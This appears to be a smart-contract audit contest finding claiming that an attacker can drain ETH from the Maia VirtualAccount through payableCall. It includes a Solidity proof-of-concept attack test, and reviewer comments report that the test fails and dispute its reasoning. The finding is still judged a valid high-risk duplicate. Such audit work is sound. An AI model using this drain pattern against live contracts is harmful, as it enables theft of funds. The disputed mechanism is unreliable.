Attacker can drain user virtual account

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/VirtualAccount.sol#L85
https://github.com/code-423n4/2023-09-maia/blob/main/src/VirtualAccount.sol#L101

Vulnerability details

Impact

In the virtual Account there is a vulnerability in the payablecall function where attackers can drain the contract using external contracts. The vulnerability comes in the _call.target.call{value: val}(_call.callData) where the val is defined as call.value inputted by an arbitrary user which would be paid by the contract. The initial msg.value does not necessarily have to be up to the sum of the _call.value in the calls as the check is done in the end after contract drains have been completed.

Proof of Concept

Here is a sample POC test

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "../helpers/ImportHelper.sol";

contract BadContract {

  receive() external payable{}
  function call() external payable returns(bool, bytes memory){
    address(this).call{value:msg.value}("");
    console2.log(msg.value);
    return (true, bytes(""));
  }

}

contract MainContractTest is Test {

    VirtualAccount mainContract;
    BadContract badContract;

    constructor() {
        mainContract = new VirtualAccount(address(0), address(10));
        badContract = new BadContract();
    }

    function testPayableCall() public {
        // Fund the main contract with about 10eth
        vm.deal(address(mainContract), 10 ether);

        // Create a data call of length 10 to the bad contract with call.value as 210000
        PayableCall[] memory calls = new PayableCall[](10);
        for (uint256 i = 0; i < 10; i++) {
          bytes memory callData = abi.encodeWithSignature("call()");
          calls[i] = PayableCall({target: address(badContract), value: 0.1 ether, callData: callData});
        }

        // Call the payableCall() function of the main contract
        try mainContract.payableCall{value: 0.1 ether}(calls){
           //expected to fail
        }catch{}

        // Check the balance of the bad contract
        uint256 badContractBalance = address(badContract).balance;
        assertEq(badContractBalance, 1 ether);
        
    }
}

What this test shows is we have a sample virtual account, an attacker can drain the account using the _call.target.call. Even though the contract reverts the external calls will not be reverted.

this can be taken further with the attacking contract re-entering the VirtualAccount and drain it continuously until out-of-gas error.

Tools Used

Manual Review

Recommended Mitigation Steps

I recommend the following mitigation steps:

• Move this line https://github.com/code-423n4/2023-09-maia/blob/main/src/VirtualAccount.sol#L111 to check the sum of value before the external call is made.
• Add access control to this function also

Assessed type

ETH-Transfer

[c4-pre-sort]

0xA5DF marked the issue as low quality report

[0xA5DF]

Even though the contract reverts the external calls will not be reverted.

I doubt this, the PoC has failed:

  Error: a == b not satisfied [uint]
        Left: 0
       Right: 1000000000000000000

[0xA5DF]

Side note: there's a missing import, here's the full code

File: test/ulysses-omnichain/myTests/drain.t.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "../helpers/ImportHelper.sol";
import "src/VirtualAccount.sol";

contract BadContract {

  receive() external payable{}
  function call() external payable returns(bool, bytes memory){
    address(this).call{value:msg.value}("");
    console2.log(msg.value);
    return (true, bytes(""));
  }

}

contract MainContractTest is Test {

    VirtualAccount mainContract;
    BadContract badContract;

    constructor() {
        mainContract = new VirtualAccount(address(0), address(10));
        badContract = new BadContract();
    }

    function testPayableCall() public {
        // Fund the main contract with about 10eth
        vm.deal(address(mainContract), 10 ether);

        // Create a data call of length 10 to the bad contract with call.value as 210000
        PayableCall[] memory calls = new PayableCall[](10);
        for (uint256 i = 0; i < 10; i++) {
          bytes memory callData = abi.encodeWithSignature("call()");
          calls[i] = PayableCall({target: address(badContract), value: 0.1 ether, callData: callData});
        }

        // Call the payableCall() function of the main contract
        try mainContract.payableCall{value: 0.1 ether}(calls){
           //expected to fail
        }catch{}

        // Check the balance of the bad contract
        uint256 badContractBalance = address(badContract).balance;
        assertEq(badContractBalance, 1 ether);
        
    }
}

[alcueca]

I think this is valid, and part of the group of duplicates about payableCall missing the requiresApprovedCaller modifier.

[c4-judge]

alcueca marked the issue as duplicate of #888

[c4-judge]

alcueca changed the severity to 3 (High Risk)

[c4-judge]

alcueca marked the issue as satisfactory